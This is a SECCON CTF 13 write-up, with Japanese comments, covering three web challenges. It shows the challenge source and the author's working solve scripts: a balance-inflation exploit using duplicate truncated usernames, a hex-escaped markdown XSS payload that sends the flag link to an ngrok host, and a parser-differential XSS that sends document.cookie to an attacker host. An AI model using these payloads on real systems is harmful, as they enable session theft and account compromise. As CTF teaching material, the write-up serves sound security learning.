SECCON CTF 13 - writeup

app.post("/api/register", async (req, res) => {
  const name = String(req.body.name);
  if (!/^[a-z0-9]+$/.test(name)) {
    res.status(400).send({ msg: "Invalid name" });
    return;
  }
  if (names.has(name)) {
    res.status(400).send({ msg: "Already exists" });
    return;
  }
  names.add(name);

  const [result] = await db.query("INSERT INTO users SET ?", {
    name,
    balance: 10,
  });
  res
    .setCookie("session", await res.jwtSign({ id: result.insertId }))
    .send({ msg: "Succeeded" });
});

app.post("/api/transfer", { onRequest: auth }, async (req, res) => {
  const recipientName = String(req.body.recipientName);
  if (!names.has(recipientName)) {
    res.status(404).send({ msg: "Not found" });
    return;
  }

  const [{ 0: { id } }] = await db.query("SELECT * FROM users WHERE name = ?", [recipientName]);
  if (id === req.user.id) {
    res.status(400).send({ msg: "Self-transfer is not allowed" });
    return;
  }

  const amount = parseInt(req.body.amount);
  if (!isFinite(amount) || amount <= 0) {
    res.status(400).send({ msg: "Invalid amount" });
    return;
  }

  const conn = await db.getConnection();
  try {
    await conn.beginTransaction();

    const [{ 0: { balance } }] = await conn.query("SELECT * FROM users WHERE id = ? FOR UPDATE", [
      req.user.id,
    ]);
    if (amount > balance) {
      throw new Error("Invalid amount");
    }

    await conn.query("UPDATE users SET balance = balance - ? WHERE id = ?", [
      amount,
      req.user.id,
    ]);
    await conn.query("UPDATE users SET balance = balance + ? WHERE name = ?", [
      amount,
      recipientName,
    ]);

    await conn.commit();
  } catch (err) {
    await conn.rollback();
    return res.status(500).send({ msg: err.message });
  } finally {
    db.releaseConnection(conn);
  }

  res.send({ msg: "Succeeded" });
});

CREATE TABLE users (
    id INT AUTO_INCREMENT NOT NULL,
    name TEXT NOT NULL,
    balance BIGINT NOT NULL,
    PRIMARY KEY (id)
)

UPDATE users SET balance = balance + ? WHERE name = ?

import requests
import random
import string

  
URL = "http://trillion.seccon.games:3000/"

# 失敗したときに繰り返し実行できるように、すべてのユーザーの最初の8文字はランダムに
key = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))

def transfer(s, amount, to):
  print("transfer", amount, to[-10:])
  while True:
    # 何かしらの理由で失敗したら成功するまで繰り返す
    try:
      r = s.post(URL + "api/transfer", json={
        "amount": amount,
        "recipientName": to
      })
      print(r.status_code)
      print(r.text)
      if r.status_code == 200:
        break
    except:
      pass

# メインのユーザー作成
username = key + "tchen"

s1 = requests.session()
r = s1.post(URL + "api/register", json={
  "name": username
})
print(r.text)

# DBで重複した名前のユーザー作成
sess = []
prefix = (key + "y" * 65535)[:65535]
s2 = requests.session()
r = s2.post(URL + "api/register", json={
  "name": prefix
})

for i in range(10):
  s = requests.session()
  sess.append(s)
  r = s.post(URL + "api/register", json={
    "name": prefix + str(i)
  })
  print(r.text)


# 一回目の送信(最初だけ10円なので特別扱い)
transfer(s1, 10, prefix)

# 送り戻す
for s in sess:
  transfer(s, 20, username)

# 1兆を超えるまで繰り返し
cur = 200
while cur < 1_000_000_000_000:

  transfer(s1, cur, prefix)
  for s in sess:
    transfer(s, cur, username)
  cur *= 10
  
# フラグ入手
r = s1.get(URL + "api/me")
print(r.text)

const escapeHtml = (content) => {
  return content
    .replaceAll('&', '&')
    .replaceAll(`"`, '"')
    .replaceAll(`'`, ''')
    .replaceAll('<', '&lt;')
    .replaceAll('>', '&gt;');
}

const markdown = (content) => {
  const escaped = escapeHtml(content);
  return escaped
    .replace(/!\[([^"]*?)\]\(([^"]*?)\)/g, `<img alt="$1" src="$2"></img>`)
    .replace(/\[(.*?)\]\(([^"]*?)\)/g, `<a href="$2">$1</a>`)
    .replace(/\*\*(.*?)\*\*/g, `<strong>$1</strong>`)
    .replace(/  $/mg, `<br>`);
}

module.exports = markdown;

export const visit = async (url) => {
  console.log(`start: ${url}`);

  const browser = await puppeteer.launch({
    headless: "new",
    executablePath: "/usr/bin/chromium",
    args: [
      "--no-sandbox",
      "--disable-dev-shm-usage",
      "--disable-gpu",
      '--js-flags="--noexpose_wasm"',
    ],
  });

  const context = await browser.createBrowserContext();

  try {
    // Create a flag note
    const page1 = await context.newPage();
    await page1.goto(APP_URL, { waitUntil: "networkidle0" });
    await page1.waitForSelector("#titleInput");
    await page1.type("#titleInput", "Flag");
    await page1.waitForSelector("#contentInput");
    await page1.type("#contentInput", FLAG);
    await page1.waitForSelector("#createNote");
    await page1.click("#createNote");
    await sleep(1 * 1000);
    await page1.close();

    // Visit the given URL
    const page2 = await context.newPage();
    await page2.goto(url, { timeout: 3000 });
    await sleep(90 * 1000);
    await page2.close();
  } catch (e) {
    console.error(e);
  }

  await context.close();
  await browser.close();

  console.log(`end: ${url}`);
};

app.use(session({
  secret: crypto.randomBytes(32).toString('base64'),
  resave: true, 
  saveUninitialized: true, 
}));

![A[B](C)D](E)

<img alt="A<a href="E">B" src="C"></img>D</a>

![[]()]( id=foobar )

<img alt="<a href=" id=foobar ">" src=""></img></a>

![[]()]( src=X onerror=alert(1) )

<img alt="<a href=" src=X onerror=alert(1">" src=""></img></a> )

<img alt="<a href=" src=X onerror=alert(1">" src=""></img></a> )

function test(...args) {
    console.log(args)
}

test`foo ${3} bar ${"bizbaz"}`

[ [ 'foo ', ' bar' ], 3, "bizbaz" ]

function test(...args) {
    console.log(args)
}

test.call`${3}${"foobar"}`

[ 3, 'foobar' ]

import re
import webbrowser
import requests

URL = "http://tanuki-udon.seccon.games:3000/"
# URL = "http://localhost:3000/"
EVIL = "https://xxx.ngrok.app/"

s = requests.session()
title = "x"

# XSSのペイロード
p = f"""
fetch("/")
  .then(x => x.text())
  .then(x => document.location.assign("{EVIL}?"+x.match(/<a href="(.+)">Flag<\\/a>/)[1]))
""".strip()

# \xを利用した16進数のエスケープ
payload = "".join(["\\x" + "{:02x}".format(ord(c)) for c in p])


# ノートの作成
r = s.post(URL + "note", data={
  "title": title,
  "content": "![[]()]( src=X onerror=eval.call`${`%s`}`//)" % payload
})
print(r.text)

# ノートのIDの取得
r = s.get(URL)
id = re.findall(f'<a href="/(.+)">{title}</a>', r.text)[0]
# webbrowser.open(URL + id) # テスト用でブラウザで自動的に開く
# print(URL + id)

# 以下をbotに送る
print("http://web:3000/" + id)

// Do not use dangerous tags.
const validateTags = ($) => {
  const DANGEROUS_TAGS = [
    "script",
    "noscript",
    "iframe",
    "frame",
    "object",
    "embed",
    "template",
    "meta",
    "svg",
    "math",
  ];
  return $(DANGEROUS_TAGS.join(",")).length === 0;
};

const validate = (html0) => {
  if (typeof html0 !== "string") throw "Invalid type";
  if (html0.length > 1024) throw "Too long";
  if (/[^\r\n\x20-\x7e]/.test(html0)) throw "Invalid characters";

  // Parser 1: parse5
  // ref. https://cheerio.js.org/docs/advanced/configuring-cheerio#parsing-html-with-parse5
  const $1 = cheerio.load(html0);
  if (!validateTags($1)) throw "Invalid tags: Parser 1";
  const html1 = $1.html();

  // Parser 2: htmlparser2
  // ref. https://cheerio.js.org/docs/advanced/configuring-cheerio#using-htmlparser2-for-html
  const $2 = cheerio.load(html1, { xml: { xmlMode: false } });
  if (!validateTags($2)) throw "Invalid tags: Parser 2";
  const html2 = $2.html();

  return html2;
};

export const visit = async (url) => {
  /* snap */
  const context = await browser.createBrowserContext();

  try {
    const page = await context.newPage();
    await page.setCookie({
      name: "FLAG",
      value: FLAG,
      domain: APP_HOST,
      path: "/",
    });
    await page.goto(url, { timeout: 3_000 });
    await sleep(5_000);
    await page.close();
  } catch (e) {
    console.error(e);
  }

  await context.close();
  await browser.close();

  console.log(`end: ${url}`);
};

app.get("/", async (req, reply) => {
  try {
    const html = validate(req.query.html ?? defaultHtml);
    reply
      .type("text/html; charset=utf-8")
      .header("Content-Security-Policy", "script-src 'self'")
      .send(html);
  } catch (err) {
    reply.type("text/plain").code(400).send(err);
  }
});

<xmp><xmp><style></xmp><script src="X"></style></xmp></xmp>

<xmp>
  <xmp><style> // 文字列
</xmp>
<script src="X">
</style></xmp></xmp> // 不要な閉じタグ

<xmp>
  <xmp>
    <style>
      </xmp><script src="X"> // CSS
    </style>
  </xmp>
</xmp>

<xmp><xmp><a></a id=</xmp><style></xmp><script src="X"></script></style>

<html><head></head><body>alert(1)</body></html>

<!--foo--><html><head></head><body>bar</body></html>

<!--a--><xmp><xmp><a></a id=</xmp><style></xmp>
alert(1)//</script></style>

<!--a--><html><head></head><body><xmp><xmp><a></a><style></xmp>
alert(1)//</script></style></xmp></xmp></body></html>

import webbrowser
import requests
from urllib import parse

URL = "http://double-parser.seccon.games:3000/"
# URL = "http://localhost:3001/"
EVIL = "https://tchenio.ngrok.io/"

s = requests.session()

# スクリプトタグで読み込むjavascriptコード
js = f"""
<!--a--><xmp><xmp><a></a id=</xmp><style></xmp>
document.location.assign('{EVIL}?'+document.cookie)//</script></style>
""".strip()

# ペイロード
html = """
<xmp><xmp><a></a id=</xmp><style></xmp><script src="/?html=%s"></script></style>
""".strip() % parse.quote(js)

# バリデーションに引っかかっていないか確認
r = s.get(URL, params={
  "html": html
})
print(r.text)
print(r.url)
# バリデーションに引っかかっていなければブラウザで開く
if "Invalid" not in r.text:
  webbrowser.open(r.url)